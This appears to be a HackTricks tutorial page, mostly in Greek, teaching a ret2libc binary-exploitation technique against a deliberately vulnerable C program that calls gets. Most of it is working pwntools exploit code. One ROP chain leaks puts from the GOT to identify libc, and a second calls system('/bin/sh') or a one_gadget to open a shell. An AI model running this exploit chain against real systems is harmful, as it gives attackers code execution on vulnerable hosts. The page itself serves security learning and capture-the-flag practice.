Leaking libc address with ROP

Support HackTricks

Quick Resume

  1. Βρείτε overflow offset

  2. Βρείτε POP_RDI gadget, PUTS_PLT και MAIN gadgets

  3. Χρησιμοποιήστε τα προηγούμενα gadgets για να διαρρεύσετε τη διεύθυνση μνήμης του puts ή άλλης libc συνάρτησης και βρείτε την έκδοση libc (κατεβάστε το)

  4. Με τη βιβλιοθήκη, υπολογίστε το ROP και εκμεταλλευτείτε το

Other tutorials and binaries to practice

This tutorial is going to exploit the code/binary proposed in this tutorial: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Another useful tutorials: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Code

Filename: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Leaking LIBC template

Κατεβάστε το exploit και τοποθετήστε το στον ίδιο φάκελο με το ευάλωτο δυαδικό αρχείο και δώστε τα απαραίτητα δεδομένα στο σενάριο:

Leaking libc - template

1- Εύρεση του offset

Το πρότυπο χρειάζεται ένα offset πριν συνεχίσει με το exploit. Αν παρέχεται κάποιο, θα εκτελέσει τον απαραίτητο κώδικα για να το βρει (κατά προεπιλογή OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Εκτελέστε python template.py θα ανοίξει μια κονσόλα GDB με το πρόγραμμα να έχει καταρρεύσει. Μέσα σε αυτήν την κονσόλα GDB εκτελέστε x/wx $rsp για να αποκτήσετε τα bytes που θα αντικαθιστούσαν το RIP. Τέλος, αποκτήστε το offset χρησιμοποιώντας μια κονσόλα python:

from pwn import *
cyclic_find(0x6161616b)

Αφού βρείτε την απόσταση (σε αυτή την περίπτωση 40) αλλάξτε τη μεταβλητή OFFSET μέσα στο πρότυπο χρησιμοποιώντας αυτή την τιμή. OFFSET = "A" * 40

Ένας άλλος τρόπος θα ήταν να χρησιμοποιήσετε: pattern create 1000 -- εκτελέστε μέχρι το ret -- pattern seach $rsp από το GEF.

2- Εύρεση Gadgets

Τώρα πρέπει να βρούμε ROP gadgets μέσα στο δυαδικό αρχείο. Αυτά τα ROP gadgets θα είναι χρήσιμα για να καλέσουμε puts για να βρούμε τη libc που χρησιμοποιείται, και αργότερα για να εκκινήσουμε την τελική εκμετάλλευση.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

Ο PUTS_PLT είναι απαραίτητος για να καλέσουμε τη συνάρτηση puts. Ο MAIN_PLT είναι απαραίτητος για να καλέσουμε ξανά τη κύρια συνάρτηση μετά από μία αλληλεπίδραση για να εκμεταλλευτούμε την υπερχείλιση ξανά (άπειροι γύροι εκμετάλλευσης). Χρησιμοποιείται στο τέλος κάθε ROP για να καλέσει ξανά το πρόγραμμα. Ο POP_RDI είναι απαραίτητος για να περάσουμε μια παράμετρο στη καλούμενη συνάρτηση.

Σε αυτό το βήμα δεν χρειάζεται να εκτελέσετε τίποτα καθώς όλα θα βρεθούν από το pwntools κατά την εκτέλεση.

3- Εύρεση βιβλιοθήκης libc

Τώρα είναι η ώρα να βρούμε ποια έκδοση της βιβλιοθήκης libc χρησιμοποιείται. Για να το κάνουμε αυτό, θα διαρρεύσουμε τη διεύθυνση στη μνήμη της συνάρτησης puts και στη συνέχεια θα αναζητήσουμε σε ποια έκδοση βιβλιοθήκης βρίσκεται η έκδοση του puts σε αυτή τη διεύθυνση.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Για να το κάνετε αυτό, η πιο σημαντική γραμμή του εκτελούμενου κώδικα είναι:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Αυτό θα στείλει μερικά bytes μέχρι να είναι δυνατό το overwriting του RIP: OFFSET. Στη συνέχεια, θα ρυθμίσει τη διεύθυνση του gadget POP_RDI έτσι ώστε η επόμενη διεύθυνση (FUNC_GOT) να αποθηκευτεί στο RDI registry. Αυτό συμβαίνει επειδή θέλουμε να καλέσουμε το puts περνώντας του τη διεύθυνση του PUTS_GOT καθώς η διεύθυνση στη μνήμη της συνάρτησης puts αποθηκεύεται στη διεύθυνση που δείχνει το PUTS_GOT. Μετά από αυτό, θα κληθεί το PUTS_PLT (με το PUTS_GOT μέσα στο RDI) έτσι ώστε το puts να διαβάσει το περιεχόμενο μέσα στο PUTS_GOT (η διεύθυνση της συνάρτησης puts στη μνήμη) και θα το εκτυπώσει. Τέλος, η κύρια συνάρτηση καλείται ξανά ώστε να μπορέσουμε να εκμεταλλευτούμε την υπερχείλιση ξανά.

Με αυτόν τον τρόπο έχουμε παγιδεύσει τη συνάρτηση puts να εκτυπώσει τη διεύθυνση στη μνήμη της συνάρτησης puts (η οποία είναι μέσα στη βιβλιοθήκη libc). Τώρα που έχουμε αυτή τη διεύθυνση, μπορούμε να ψάξουμε ποια έκδοση libc χρησιμοποιείται.

Καθώς εκμεταλλευόμαστε κάποια τοπική δυαδική, δεν είναι απαραίτητο να καταλάβουμε ποια έκδοση της libc χρησιμοποιείται (απλά βρείτε τη βιβλιοθήκη στο /lib/x86_64-linux-gnu/libc.so.6). Αλλά, σε περίπτωση απομακρυσμένης εκμετάλλευσης, θα εξηγήσω εδώ πώς μπορείτε να το βρείτε:

3.1- Αναζητώντας την έκδοση libc (1)

Μπορείτε να ψάξετε ποια βιβλιοθήκη χρησιμοποιείται στη σελίδα: https://libc.blukat.me/ Θα σας επιτρέψει επίσης να κατεβάσετε την ανακαλυφθείσα έκδοση της libc

3.2- Αναζητώντας την έκδοση libc (2)

Μπορείτε επίσης να κάνετε:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Αυτό θα πάρει λίγο χρόνο, να είστε υπομονετικοί. Για να λειτουργήσει αυτό, χρειαζόμαστε:

  • Όνομα συμβόλου libc: puts

  • Διεύθυνση libc που έχει διαρρεύσει: 0x7ff629878690

Μπορούμε να καταλάβουμε ποια libc είναι πιο πιθανό να χρησιμοποιείται.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Παίρνουμε 2 αντιστοιχίες (θα πρέπει να δοκιμάσετε τη δεύτερη αν η πρώτη δεν λειτουργεί). Κατεβάστε την πρώτη:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Αντιγράψτε τη libc από libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so στον κατάλογο εργασίας μας.

3.3- Άλλες συναρτήσεις για leak

puts
printf
__libc_start_main
read
gets

4- Εύρεση της διεύθυνσης libc που βασίζεται & εκμετάλλευση

Σε αυτό το σημείο θα πρέπει να γνωρίζουμε τη βιβλιοθήκη libc που χρησιμοποιείται. Καθώς εκμεταλλευόμαστε ένα τοπικό δυαδικό αρχείο, θα χρησιμοποιήσω απλώς: /lib/x86_64-linux-gnu/libc.so.6

Έτσι, στην αρχή του template.py αλλάξτε τη μεταβλητή libc σε: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ορίστε τη διαδρομή της βιβλιοθήκης όταν την γνωρίζετε

Δίνοντας τη διαδρομή στη βιβλιοθήκη libc, το υπόλοιπο της εκμετάλλευσης θα υπολογιστεί αυτόματα.

Μέσα στη συνάρτηση get_addr, η βάση διεύθυνση της libc θα υπολογιστεί:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Σημειώστε ότι η τελική διεύθυνση βάσης της libc πρέπει να τελειώνει σε 00. Αν αυτό δεν ισχύει, μπορεί να έχετε διαρρεύσει μια λανθασμένη βιβλιοθήκη.

Στη συνέχεια, η διεύθυνση της συνάρτησης system και η διεύθυνση της συμβολοσειράς "/bin/sh" θα υπολογιστούν από τη βάση της libc και θα δοθούν στη βιβλιοθήκη libc.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Τέλος, η εκμετάλλευση εκτέλεσης /bin/sh θα προετοιμαστεί για αποστολή:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Ας εξηγήσουμε αυτό το τελικό ROP. Το τελευταίο ROP (rop1) κατέληξε να καλεί ξανά τη βασική συνάρτηση, οπότε μπορούμε να εκμεταλλευτούμε ξανά την υπερχείλιση (γι' αυτό το OFFSET είναι εδώ ξανά). Στη συνέχεια, θέλουμε να καλέσουμε το POP_RDI δείχνοντας στη διεύθυνση του "/bin/sh" (BINSH) και να καλέσουμε τη συνάρτηση system (SYSTEM) επειδή η διεύθυνση του "/bin/sh" θα περαστεί ως παράμετρος. Τέλος, η διεύθυνση της συνάρτησης εξόδου είναι καλούμενη ώστε η διαδικασία να εξέρχεται ωραία και να μην δημιουργείται καμία ειδοποίηση.

Με αυτόν τον τρόπο η εκμετάλλευση θα εκτελέσει ένα _/bin/sh_** shell.**

4(2)- Χρησιμοποιώντας το ONE_GADGET

Μπορείτε επίσης να χρησιμοποιήσετε ONE_GADGET για να αποκτήσετε ένα shell αντί να χρησιμοποιήσετε system και "/bin/sh". ONE_GADGET θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο να αποκτήσει ένα shell χρησιμοποιώντας μόνο μία διεύθυνση ROP. Ωστόσο, συνήθως υπάρχουν κάποιες περιορισμοί, οι πιο κοινοί και εύκολοι να αποφευχθούν είναι όπως [rsp+0x30] == NULL Καθώς ελέγχετε τις τιμές μέσα στο RSP απλά πρέπει να στείλετε μερικές περισσότερες NULL τιμές ώστε να αποφευχθεί ο περιορισμός.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

Μπορείτε να βρείτε ένα πρότυπο για να εκμεταλλευτείτε αυτήν την ευπάθεια εδώ:

Leaking libc - template

Common problems

MAIN_PLT = elf.symbols['main'] not found

Εάν το σύμβολο "main" δεν υπάρχει. Τότε μπορείτε να βρείτε πού είναι ο κύριος κώδικας:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

και ορίστε τη διεύθυνση χειροκίνητα:

MAIN_PLT = 0x401080

Puts not found

Αν το δυαδικό αρχείο δεν χρησιμοποιεί Puts, θα πρέπει να ελέγξετε αν χρησιμοποιεί

sh: 1: %s%s%s%s%s%s%s%s: not found

Αν βρείτε αυτό το σφάλμα μετά τη δημιουργία όλων των εκμεταλλεύσεων: sh: 1: %s%s%s%s%s%s%s%s: not found

Δοκιμάστε να αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
Υποστηρίξτε το HackTricks

Last updated